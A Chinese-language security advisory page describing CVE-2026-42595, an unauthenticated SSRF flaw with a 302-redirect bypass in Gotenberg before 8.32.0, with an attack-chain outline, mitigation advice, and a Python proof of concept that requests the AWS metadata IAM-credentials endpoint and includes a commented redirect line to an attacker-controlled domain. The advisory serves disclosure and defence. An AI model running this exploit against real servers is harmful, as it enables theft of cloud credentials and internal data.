IPBUF安全漏洞报告
English
CVE-2026-42595 CVSS 8.6 高危

CVE-2026-42595 Gotenberg SSRF漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42595
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

SSRFGotenbergCVE-2026-42595PDF GenerationRedirect BypassHigh Severity

漏洞概述

Gotenberg是一个基于Docker的无状态PDF API。在8.32.0版本之前,其Chromium URL转PDF端点缺乏针对HTTP/HTTPS协议SSRF攻击的默认防护。默认的拦截正则仅阻止file://协议,允许未经身份验证的攻击者通过指定内部IP地址(如回环地址、RFC 1918私有地址或云元数据端点)来获取敏感信息并渲染为PDF。此外,该漏洞还存在通过HTTP 302重定向绕过自定义拦截列表的问题。

技术细节

该漏洞源于Gotenberg在处理Chromium URL转PDF请求时的输入验证不足。虽然系统默认拦截了`file://`协议,但未限制`http://`和`https://`协议指向内网地址。攻击者可以向`/forms/chromium/convert/url`端点发送请求,将URL参数设置为内网敏感资源(如`http://169.254.169.254/latest/meta-data/`),Chromium引擎会访问该地址并将返回内容渲染为PDF返回给攻击者。更严重的是,即使管理员配置了自定义拒绝列表,攻击者可以利用HTTP 302重定向机制。攻击者控制的外部URL在收到请求后重定向至内网被禁止的地址,Gotenberg的Chromium实例会跟随重定向但不对新目标进行二次校验,从而成功绕过防护。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Gotenberg服务,并确认其版本低于8.32.0。
STEP 2
直接SSRF尝试
攻击者向/forms/chromium/convert/url端点发送POST请求,URL参数指向内网敏感地址(如127.0.0.1或云元数据API)。
STEP 3
绕过防护(如需要)
如果目标配置了自定义黑名单,攻击者将URL指向自己控制的外部服务器,该服务器返回302重定向响应,将请求跳转到内网被禁止的地址。
STEP 4
数据渗漏
Gotenberg的Chromium进程跟随重定向访问内网资源,将响应内容渲染成PDF返回给攻击者,攻击者解析PDF获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Gotenberg instance target_url = "http://localhost:3000/forms/chromium/convert/url" # Internal URL to access (e.g., Cloud Metadata or Admin Panel) # Example: AWS Metadata service malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Alternatively, use a redirect bypass if direct access is blocked # malicious_url = "http://attacker-controlled-domain.com/redirect-to-internal" files = { 'url': (None, malicious_url) } response = requests.post(target_url, files=files) if response.status_code == 200: print("Exploit successful! SSRF response received.") # Save the PDF content containing the internal data with open("ssrf_result.pdf", "wb") as f: f.write(response.content) print("PDF saved as ssrf_result.pdf") else: print(f"Exploit failed with status code: {response.status_code}")

影响范围

Gotenberg < 8.32.0

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或安全组严格限制Gotenberg容器的出站网络连接,禁止其访问内网网段(如127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)以及云服务商元数据IP(如169.254.169.254)。同时,可在反向代理层(如Nginx)对传入的url参数进行正则匹配,拦截包含内网IP特征的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表